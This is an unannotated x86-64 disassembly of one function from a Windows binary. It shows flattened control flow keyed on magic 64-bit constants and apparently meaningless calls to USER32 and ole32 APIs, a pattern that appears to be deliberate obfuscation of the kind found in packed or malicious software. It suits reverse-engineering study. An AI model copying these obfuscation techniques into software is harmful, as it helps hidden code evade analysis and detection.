call qword [sym.imp.USER32.dll_IsWindowUnicode]
mov dword [rsp + 0x241c], eax
mov rax, qword [rsp + 0x4210]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4260]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4250]
mov byte [rcx], al
movzx eax, byte [rsp + 0xed]
movzx ecx, byte [0x140125004]
shl eax, cl
mov byte [rsp + 0xee], al
jmp 0x140109f67
movsx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x4210]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4250]
mov byte [rcx], al
mov rax, qword [rsp + 0x42c8]
mov rax, qword [rax]
mov qword [rsp + 0x19958], rax
movabs rax, 0x3988c763704e125d
cmp qword [rsp + 0x19958], rax
je 0x140109f90
jmp 0x14010a00f
mov rax, qword [rsp + 0x42b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x938]
add eax, ecx
mov rcx, qword [rsp + 0x42b0]
mov word [rcx], ax
mov r9d, 0xd6
mov r8d, 0x18
lea rdx, [rsp + 0x55]
mov rcx, qword [rsp + 0x19948]
call qword [sym.imp.USER32.dll_DrawFrameControl]
mov dword [rsp + 0x23b8], eax
mov eax, dword [0x140126010]
mov ecx, dword [rsp + 0x2394]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x23cc], eax
mov eax, dword [rsp + 0x2378]
mov ecx, dword [rsp + 0x23f4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
jmp 0x14010a099
mov eax, dword [rsp + 0x2378]
mov dword [rsp + 0x3b8c], eax
cmp dword [rsp + 0x3b8c], 0xf777436
je 0x14010a039
cmp dword [rsp + 0x3b8c], 0x75aceb6b
je 0x14010a08c
jmp 0x14010a099
mov r8d, 0xf7
mov edx, 9
mov rcx, qword [rsp + 0x19960]
call qword [sym.imp.USER32.dll_GetMenuState]
mov dword [rsp + 0x23f4], eax
mov rax, qword [rsp + 0x41f0]
mov rcx, qword [rsp + 0x4298]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x42c8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x938]
mov word [rsp + 0x93c], ax
jmp 0x14010a099
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov dword [rsp + 0x23b8], eax
mov rcx, qword [rsp + 0x198e8]
call qword [sym.imp.USER32.dll_GetMenuContextHelpId]
mov dword [rsp + 0x23f4], eax
movzx eax, word [rsp + 0x938]
sub eax, 0x201
mov rcx, qword [rsp + 0x42b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x934]
add eax, ecx
mov word [rsp + 0x930], ax
mov edx, 0xc8
mov rcx, qword [rsp + 0x4278]
call qword [sym.imp.USER32.dll_GetClassWord]
mov word [rsp + 0x93c], ax
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x930]
sub eax, ecx
mov rcx, qword [rsp + 0x42a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x23f4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x23d4], eax
jmp 0x14010a1d5
mov eax, dword [rsp + 0x2394]
sub eax, 0x43e06ea7
mov dword [0x140126010], eax
mov edx, 0x8a
lea rcx, [rsp + 0x1a3c0]
call qword [sym.imp.USER32.dll_CharLowerBuffW]
mov dword [rsp + 0x23d4], eax
mov eax, dword [rsp + 0x2378]
mov ecx, dword [rsp + 0x23d4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0xfc
mov r9d, 0x56
mov r8d, 0xd8
mov edx, 0xc0
mov rcx, qword [rsp + 0x4340]
call qword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [rsp + 0x23b8], eax
mov rax, qword [rsp + 0x4248]
movabs rcx, 0x42988666f632f792
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x41f0], rax
movzx eax, byte [rsp + 0xee]
movzx ecx, byte [rsp + 0xed]
sub eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
jmp 0x14010a241
movsx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x4250]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4260]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x4210]
movsx edx, byte [rdx]
xor ecx, edx
cmp eax, ecx
je 0x14010a241
mov rax, qword [rsp + 0x4248]
movabs rcx, 0x272379211d56c48
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x41f0], rax
mov eax, dword [rsp + 0x2378]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
jmp 0x14010a2aa
mov dword [rsp + 0x38], 0x88
mov dword [rsp + 0x30], 0xba
mov dword [rsp + 0x28], 0xa8
mov dword [rsp + 0x20], 0x99
mov r9d, 0xc8
mov r8, qword [rsp + 0x4258]
mov rdx, qword [rsp + 0x4230]
mov rcx, qword [rsp + 0x4538]
call qword [sym.imp.USER32.dll_DeferWindowPos]
mov qword [rsp + 0x43d0], rax
mov rax, qword [rsp + 0x41f0]
shl rax, 0x3c
mov rcx, qword [rsp + 0x4248]
mov qword [rcx], rax
mov eax, dword [0x140126010]
mov dword [rsp + 0x2394], eax
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x2378]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov r8d, 0x62
mov edx, 0x18
mov rcx, qword [rsp + 0x45c8]
call qword [sym.imp.USER32.dll_EnableScrollBar]
mov dword [rsp + 0x23b8], eax
mov dword [rsp + 0x2394], 0x333a5afb
movsx eax, byte [rsp + 0x55]
sub eax, 0x31
mov rcx, qword [rsp + 0x4210]
mov byte [rcx], al
movzx eax, byte [rsp + 0xed]
add eax, 0xb9
mov byte [rsp + 0xee], al
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x2378]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
lea rax, [rsp + 0x19988]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x19988]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x4210]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x41f0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2384]
lea r8, [rsp + 0x2380]
lea rdx, [rsp + 0x41f0]
lea rcx, [rsp + 0x55]
call qword [sym.imp.ole32.dll_CoQueryProxyBlanket]
mov dword [rsp + 0x2570], eax
mov rax, qword [rsp + 0x41f0]
mov qword [rsp + 0x19968], rax
movabs rax, 0x2daad63552a88157
cmp qword [rsp + 0x19968], rax
je 0x14010a3dd
jmp 0x14010a40d
mov eax, dword [rsp + 0x2378]
mov rcx, qword [rsp + 0x4208]
mov qword [rsp + 0x19970], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19970]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov eax, dword [section..data]
movzx ecx, al
mov eax, dword [rsp + 0x2378]
shl eax, cl
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4210]
movsx eax, byte [rax]
xor eax, 0x6a
mov byte [rsp + 0x55], al
lea r8, [rsp + 0xee]
mov edx, 0x27
lea rcx, [rsp + 0x55]
call qword [sym.imp.ole32.dll_CoGetStdMarshalEx]
mov dword [rsp + 0x2380], eax
mov rax, qword [rsp + 0x41f0]
mov qword [rsp + 0x19978], rax
movabs rax, 0x19eedd2287f9b193
cmp qword [rsp + 0x19978], rax
je 0x14010a497
movabs rax, 0x68d9a09b28ab1e02
cmp qword [rsp + 0x19978], rax
je 0x14010a4ae
jmp 0x14010a5ca
mov ecx, 0x63
call qword [sym.imp.ole32.dll_CoRevokeClassObject]
mov dword [rsp + 0x238c], eax
jmp 0x14010a5ca
mov rax, qword [rsp + 0x41f0]
mov qword [rsp + 0x19980], rax
movabs rax, 0x1a6afaa24365121b
cmp qword [rsp + 0x19980], rax
je 0x14010a5c4
movabs rax, 0x3f7d859538d6b4ab
cmp qword [rsp + 0x19980], rax
je 0x14010a4ef
jmp 0x14010a5ca
mov dword [rsp + 0x2378], 0x2c5ce50a
lea rax, [rsp + 0x4378]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x2384]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x199a8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4220]
lea r8, [rsp + 0x41f0]
lea rdx, [rsp + 0x41f0]
lea rcx, [rsp + 0x199a8]
call qword [sym.imp.ole32.dll_CoQueryClientBlanket]
mov dword [rsp + 0x2384], eax
movabs rax, 0x77b918931f4115dc
mov rcx, qword [rsp + 0x41f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x41f0], rax
lea rax, [rsp + 0x41f0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x238c]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x199a8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4378]
lea r8, [rsp + 0x4220]
lea rdx, [rsp + 0x2378]
lea rcx, [rsp + 0x41f0]
call qword [sym.imp.ole32.dll_CoQueryClientBlanket]
mov dword [rsp + 0x2570], eax
jmp 0x14010a5ca
call fcn.14010adc0
nop
jmp 0x14010a609
lea rdx, [rsp + 0x2378]
lea rcx, [rsp + 0x199a8]
call qword [sym.imp.ole32.dll_CoGetPSClsid]
mov dword [rsp + 0x2570], eax
movabs rax, 0x62e8d0588e1e0922
mov rcx, qword [rsp + 0x41f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x41f0], rax
movabs rax, 0x2b04429bb28927e8
mov rcx, qword [rsp + 0x41f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x41f0], rax
lea rax, [rsp + 0x4378]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x4378]
mov qword [rsp + 0x20], rax
mov r9d, 0xb2
lea r8, [rsp + 0x4220]
mov rdx, qword [rsp + 0x4378]
mov rcx, qword [rsp + 0x4220]
call sub.WINSPOOL.DRV_EnumPrinterDataExW
mov dword [rsp + 0x2378], eax
mov r8b, 0x90
mov rdx, qword [rsp + 0x41f0]
mov cl, 0x68
call fcn.14010bf30
mov eax, dword [rsp + 0x2840]
add rsp, 0x1a788
ret